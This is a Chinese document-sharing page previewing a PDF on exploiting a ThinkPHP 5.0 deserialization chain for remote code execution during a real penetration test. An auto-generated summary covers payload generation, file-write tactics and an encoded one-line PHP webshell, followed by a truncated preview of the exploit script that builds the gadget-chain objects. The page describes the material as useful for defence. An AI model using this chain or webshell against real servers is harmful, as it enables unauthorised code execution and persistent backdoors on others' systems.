TP5.0反序列化漏洞利用与实战渗透

118 浏览量更新于2024-06-13 收藏 171KB PDF 举报

在"thinkphp5.0反序列化链小记.pdf"文档中，主要探讨了ThinkPHP 5.0版本中的反序列化漏洞（RCE，Remote Code Execution）利用技术。作者分享了一次实战渗透经验，特别关注Linux和Windows环境下的文件写入操作，强调了使用绝对路径的重要性。 1. **ThinkPHP 5.0反序列化漏洞**：文档详细介绍了如何通过利用ThinkPHP框架中的反序列化功能，实现恶意代码的执行。这涉及到对对象的不安全序列化，攻击者可以通过构造特定的输入数据，触发系统执行预定义的代码，从而达到远程控制服务器的目的。 2. **PHP函数与漏洞利用**： - `phpggc`：文档提到了尝试使用这个函数来生成payload，但发现可能由于不同PHP版本的Base64编码规则问题，导致无法成功利用。作者建议使用`urlencode`代替。 - `phpexp`：可能是指PHP执行器，与RCE攻击有关，但文档中并未提供具体的利用方法，仅提及了`tp5.0-rce-lin.php`和`tp5.0.x-rce-lin.php`这两个可能用于执行payload的脚本文件。 3. **环境兼容性**： - 支持跨平台：文档提到的方法适用于Linux和Windows环境，这显示了攻击者的通用攻击策略，能够适应不同的操作系统。 4. **文件写入策略**： - 先创建目录再写入：这是一种常见的渗透技巧，确保文件写入过程的成功。 - 直接写入：可能是指直接将恶意脚本插入到目标位置，不经过额外的验证步骤。 5. **实战渗透细节**： - **Webshell创建**：文档提供了Webshell文件的名称，这是一种常见的方式，通过URL参数传递给服务器，创建一个可以执行命令的后门文件。例如，`%3C%3Fcuc+%40riny%28%24_CBFG%5B1%5D%29%3B%3F%3E3b58a9545013e88c7186db11bb158c44.php`。 6. **内存对象序列化数据**：展示了被序列化的对象内容，包括`think\process\pipes\Windows`和`think\model\Pivot`等类的部分属性，这些数据表明了攻击者对ThinkPHP框架内部结构的理解。 "thinkphp5.0反序列化链小记.pdf"文档深入浅出地介绍了在ThinkPHP 5.0环境中利用反序列化漏洞进行远程代码执行的方法，包括具体的工具、策略和技术细节，这对于了解和防御此类攻击具有重要意义。

tp5.0.x-rce-lin.php

<?php

namespace think\process\pipes{

! class Windows{

! ! ! private $files = [];

! ! ! function __construct($a){

! ! ! ! ! $this->files=[$a];

! ! ! }

! }

}

namespace think{

! abstract class Model{

}

namespace think\model{

! use think\Model;

! class Pivot extends Model

! {

! ! ! public $parent;

! ! ! protected $append = [];

! ! ! protected $data = [];

! ! ! protected $error;

! ! ! function __construct($parent,$error){

! ! ! ! ! $this->parent=$parent;

! ! ! ! ! $this->append = ["getError"];

! ! ! ! ! $this->data =['123'];

! ! ! ! ! $this->error=(new model\relation\HasOne($error));

! ! ! }

! }

! !

}

namespace think\model\relation{

! use think\model\Relation;

! class HasOne extends OneToOne{

! ! ! !

! }

}

namespace think\model\relation{

! abstract class OneToOne{

! ! ! protected $selfRelation;

! ! ! protected $query;

! ! ! protected $bindAttr = [];

! ! ! function __construct($query){

! ! ! ! ! $this->selfRelation=0;

剩余17页未读，继续阅读

吉吉说安全

粉丝: 1094
资源: 151

TP5.0反序列化漏洞利用与实战渗透

thinkphp5.0资料

详解php反序列化

ThinkPHP5.0完全开发手册-12092105.pdf

ThinkPHP5.0完全开发手册-02091340.pdf

ThinkPHP5.0完全开发手册-20170915120211.pdf

ThinkPHP5.0完全开发手册-07171040.pdf

ThinkPHP5.0完全开发手册-09051353.epub

在thinkphp5.0路径中实现去除index.php的方式

ThinkPHP5.0完全开发手册.pdf

ThinkPHP5.0开发手册.pdf

最新资源